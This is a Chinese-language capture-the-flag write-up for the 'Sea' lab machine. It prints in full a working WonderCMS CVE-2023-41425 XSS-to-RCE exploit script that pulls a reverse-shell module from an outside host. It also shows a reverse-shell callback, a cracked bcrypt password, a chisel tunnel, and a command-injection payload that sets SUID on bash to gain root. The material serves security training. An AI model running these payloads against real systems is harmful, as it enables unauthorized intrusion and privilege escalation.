Sea WrtieUp

Sea WrtieUp

0x01 信息收集

  1. namp扫描

在这里插入图片描述

  1. 访问80端口,探测功能点

在这里插入图片描述

手工探测发现contact.php页面需要以域名的方式访问

在这里插入图片描述

将sea.htb域名添加到hosts文件

在这里插入图片描述

再次访问发现该页面是登记页面

在这里插入图片描述

提交测试数据后返回提交成功

在这里插入图片描述

对该页面抓包发现源代码中存在以下链接

http://sea.htb/themes/bike/img/velik71-new-logotip.png
http://sea.htb/themes/bike/css/style.css

在这里插入图片描述

疑似存在cms,访问 README.md文件可以发现目标使用WonderCMS

http://sea.htb/themes/bike/README.md

在这里插入图片描述

在这里插入图片描述

0x02漏洞利用

  1. 使用github搜索该cms发现该cms存在漏洞 CVE-2023-41425]
https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413

在这里插入图片描述

查看漏洞利用代码

# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")

    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")

通过exp可以发现是通过 xss 来实现的 rce,输入参数运行脚本。

python3 exp.py "http://sea.htb/index.php?page=loginURL" kali-ip 4444

在这里插入图片描述

将exp中给的xss payload 在 contact.php 中的 website 输入框中输入

在这里插入图片描述

提交payload后exp开启的web服务器能接到下载

在这里插入图片描述

然后kali开启监听,再访问对应地址

http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.16.36&lport=4444

在这里插入图片描述

kali接收到反弹shell

在这里插入图片描述

0x03 第一个flag

  1. 获取到shell发现当前获取的shell没权限读取第一个flag,进一步信息收集

在这里插入图片描述

在信息收集的过程中发现网站根目录下的database.js文件中存在一组凭证

在这里插入图片描述

"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",

在这里插入图片描述

尝试使用hashcat爆破该凭证

hashcat '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' -m 3200 /usr/share/wordlists/rockyou.txt --show
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

home下两个用户 amay和 geo,尝试登录,amay 下成功登录。

在这里插入图片描述

  1. 在amay用户家目录发现第一个flag

在这里插入图片描述

0x04 第二个flag

  1. 查找是否存在suid或者sudo提权

在这里插入图片描述

进一步信息收集发现内网中有一个 8080 端口

在这里插入图片描述

  1. 内网穿透

将目标本地的8080端口转发到kali的8090端口上来

将内网穿透软件frp发送到目标主机

https://github.com/jpillora/chisel
python3 -m http.server 80
wget kali-ip/chisel
chmod +x ./chisel

在这里插入图片描述
在这里插入图片描述

然后本地服务端和远程客户端分别运行服务:

./chisel server -port 9292 --reverse	# kali运行
./chisel client -v kali-ip:9292 R:8090:127.0.0.1:8080		# 目标运行

在这里插入图片描述
在这里插入图片描述

  1. 测试部署在目标本地8080端口的网站
    在这里插入图片描述

发现该网站需要登录才能访问,尝试使用之前获取的用户名密码

amay:mychemicalromance

在这里插入图片描述

目标似乎是一个系统日志文件管理相关的界面,抓包查看

在这里插入图片描述

在数据包中发现有个命令拼接;可以使用payload /root/root.txt;chmod u+s /bin/bash,给bash命令加上s权限。这里的 u+s 的作用就是将用户运行这个文件时,以用户拥有者的身份运行。既然能看日志,那就说明有 root 权限。然后权限借用。

在这里插入图片描述

在这里插入图片描述

  1. 使用bash提权的root
/usr/bin/bash -p # 执行此命令可以提权到root

在这里插入图片描述

  1. 获取第二个flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值